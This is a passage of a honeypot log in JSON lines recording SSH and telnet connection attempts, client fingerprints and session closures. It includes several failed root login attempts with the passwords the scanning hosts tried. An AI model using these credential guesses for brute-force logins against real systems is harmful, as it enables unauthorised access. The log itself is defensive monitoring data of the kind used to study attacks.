es-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:49.702095Z","src_ip":"69.6.222.198","session":"0c2a99476098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dspacedspace","message":"login attempt [root/dspacedspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:50.189893Z","src_ip":"69.6.222.198","session":"0c2a99476098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:51.308464Z","src_ip":"69.6.222.198","session":"0c2a99476098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dbf00e5c628","protocol":"telnet","message":"New connection: 192.119.13.58:35294 (10.17.0.5:23) [session: 3dbf00e5c628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:51.645101Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37708,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9fef743bb09","protocol":"telnet","message":"New connection: 192.119.13.58:37708 (10.17.0.5:23) [session: a9fef743bb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:52.297872Z"}
{"eventid":"cowrie.session.closed","duration":44.69356107711792,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:53.515831Z","src_ip":"192.119.13.58","session":"84f26090be2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.129974126815796,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:54.386870Z","src_ip":"192.119.13.58","session":"0c4c2d933113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47446,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f47ac967472","protocol":"telnet","message":"New connection: 192.119.13.58:47446 (10.17.0.5:23) [session: 6f47ac967472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:54.724569Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"411add7c7bcd","protocol":"telnet","message":"New connection: 192.119.13.58:50454 (10.17.0.5:23) [session: 411add7c7bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:55.544033Z"}
{"eventid":"cowrie.session.closed","duration":40.635079860687256,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:00.549858Z","src_ip":"192.119.13.58","session":"787ef31c6964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59964,"dst_ip":"10.17.0.5","dst_port":23,"session":"1235fcd60709","protocol":"telnet","message":"New connection: 192.119.13.58:59964 (10.17.0.5:23) [session: 1235fcd60709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:05.181094Z"}
{"eventid":"cowrie.session.closed","duration":38.914517641067505,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:07.237039Z","src_ip":"192.119.13.58","session":"279afd2c9422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36472,"dst_ip":"10.17.0.5","dst_port":22,"session":"95fa26d525f0","protocol":"ssh","message":"New connection: 103.122.221.179:36472 (10.17.0.5:22) [session: 95fa26d525f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:08.464334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:08.469960Z","src_ip":"103.122.221.179","session":"95fa26d525f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:08.727992Z","src_ip":"103.122.221.179","session":"95fa26d525f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48106,"dst_ip":"10.17.0.5","dst_port":23,"session":"a60a47944862","protocol":"telnet","message":"New connection: 192.119.13.58:48106 (10.17.0.5:23) [session: a60a47944862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:09.446384Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert54321","message":"login attempt [root/qwert54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:09.502290Z","src_ip":"103.122.221.179","session":"95fa26d525f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:10.763407Z","src_ip":"103.122.221.179","session":"95fa26d525f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.32204627990723,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:10.844851Z","src_ip":"192.119.13.58","session":"04dc29c1e668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.600162506103516,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:13.469741Z","src_ip":"192.119.13.58","session":"615c03bd3588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37202,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ecdec7e24e","protocol":"telnet","message":"New connection: 192.119.13.58:37202 (10.17.0.5:23) [session: b0ecdec7e24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:13.998275Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":54246,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cb552e9bbd7","protocol":"ssh","message":"New connection: 43.163.121.249:54246 (159.203.135.109:22) [session: 3cb552e9bbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:17.297482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:17.302648Z","src_ip":"43.163.121.249","session":"3cb552e9bbd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:17.568237Z","src_ip":"43.163.121.249","session":"3cb552e9bbd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123456789","message":"login attempt [root/root@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:18.581392Z","src_ip":"43.163.121.249","session":"3cb552e9bbd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":39230,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e63ea84ce05","protocol":"telnet","message":"New connection: 186.195.16.41:39230 (159.203.135.109:23) [session: 2e63ea84ce05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:18.875284Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55100,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c7605fc792c","protocol":"telnet","message":"New connection: 192.119.13.58:55100 (10.17.0.5:23) [session: 3c7605fc792c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:19.698043Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:19.830002Z","src_ip":"43.163.121.249","session":"3cb552e9bbd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.750555992126465,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:21.539127Z","src_ip":"192.119.13.58","session":"7992897c6f0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":44340,"dst_ip":"159.203.135.109","dst_port":22,"session":"6af630f26f20","protocol":"ssh","message":"New connection: 43.134.100.175:44340 (159.203.135.109:22) [session: 6af630f26f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:23.338971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:23.343674Z","src_ip":"43.134.100.175","session":"6af630f26f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:23.590120Z","src_ip":"43.134.100.175","session":"6af630f26f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46852,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31e364f484a","protocol":"telnet","message":"New connection: 192.119.13.58:46852 (10.17.0.5:23) [session: c31e364f484a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:23.660411Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe@WSX","message":"login attempt [root/123qwe@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:24.606129Z","src_ip":"43.134.100.175","session":"6af630f26f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:25.854720Z","src_ip":"43.134.100.175","session":"6af630f26f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.83525013923645,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:26.710444Z","src_ip":"186.195.16.41","session":"2e63ea84ce05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.87092089653015,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:28.343960Z","src_ip":"192.119.13.58","session":"3a0610297706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.92950701713562,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:31.905260Z","src_ip":"192.119.13.58","session":"a356b63e9b59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.89763164520264,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:32.357167Z","src_ip":"192.119.13.58","session":"f0262253c5a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.44318747520447,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:34.088171Z","src_ip":"192.119.13.58","session":"3dbf00e5c628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.7526798248291,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:34.296587Z","src_ip":"192.119.13.58","session":"411add7c7bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47288,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c9000dc7c9c","protocol":"telnet","message":"New connection: 192.119.13.58:47288 (10.17.0.5:23) [session: 0c9000dc7c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:37.387294Z"}
{"eventid":"cowrie.session.closed","duration":0.005694150924682617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:37.392857Z","src_ip":"192.119.13.58","session":"0c9000dc7c9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58724,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a474bb0366e","protocol":"telnet","message":"New connection: 192.119.13.58:58724 (10.17.0.5:23) [session: 1a474bb0366e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:40.144820Z"}
{"eventid":"cowrie.session.closed","duration":47.30177855491638,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:42.026197Z","src_ip":"192.119.13.58","session":"6f47ac967472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44728,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e97d961d97","protocol":"telnet","message":"New connection: 192.119.13.58:44728 (10.17.0.5:23) [session: 19e97d961d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:43.607227Z"}
{"eventid":"cowrie.session.closed","duration":51.61036705970764,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:43.908114Z","src_ip":"192.119.13.58","session":"a9fef743bb09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49662,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6cc6531635","protocol":"telnet","message":"New connection: 192.119.13.58:49662 (10.17.0.5:23) [session: 4d6cc6531635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:44.749022Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52138,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12fc15235e9","protocol":"telnet","message":"New connection: 192.119.13.58:52138 (10.17.0.5:23) [session: d12fc15235e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:45.408571Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54476,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4afbbea8e7","protocol":"telnet","message":"New connection: 192.119.13.58:54476 (10.17.0.5:23) [session: 4f4afbbea8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:45.976738Z"}
{"eventid":"cowrie.session.closed","duration":37.54624891281128,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:46.992516Z","src_ip":"192.119.13.58","session":"a60a47944862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.487019300460815,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:50.485187Z","src_ip":"192.119.13.58","session":"b0ecdec7e24e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.00560641288757,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:51.186581Z","src_ip":"192.119.13.58","session":"1235fcd60709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.125303506851196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:54.823223Z","src_ip":"192.119.13.58","session":"3c7605fc792c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33346,"dst_ip":"10.17.0.5","dst_port":23,"session":"927c680bde1a","protocol":"telnet","message":"New connection: 192.119.13.58:33346 (10.17.0.5:23) [session: 927c680bde1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:54.878853Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":51464,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f1f1d8935f2","protocol":"ssh","message":"New connection: 165.154.5.249:51464 (159.203.135.109:22) [session: 9f1f1d8935f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:57.724170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:57.730655Z","src_ip":"165.154.5.249","session":"9f1f1d8935f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:57.944596Z","src_ip":"165.154.5.249","session":"9f1f1d8935f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48522,"dst_ip":"10.17.0.5","dst_port":23,"session":"7980576c4499","protocol":"telnet","message":"New connection: 192.119.13.58:48522 (10.17.0.5:23) [session: 7980576c4499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:58.582225Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"987321","message":"login attempt [root/987321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:56:58.832491Z","src_ip":"165.154.5.249","session":"9f1f1d8935f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:00.050504Z","src_ip":"165.154.5.249","session":"9f1f1d8935f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36682,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a94ffbd095","protocol":"telnet","message":"New connection: 192.119.13.58:36682 (10.17.0.5:23) [session: c8a94ffbd095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:02.954243Z"}
{"eventid":"cowrie.session.closed","duration":50.23920965194702,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:13.899317Z","src_ip":"192.119.13.58","session":"c31e364f484a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33902,"dst_ip":"10.17.0.5","dst_port":23,"session":"532122f20ad9","protocol":"telnet","message":"New connection: 192.119.13.58:33902 (10.17.0.5:23) [session: 532122f20ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:16.336761Z"}
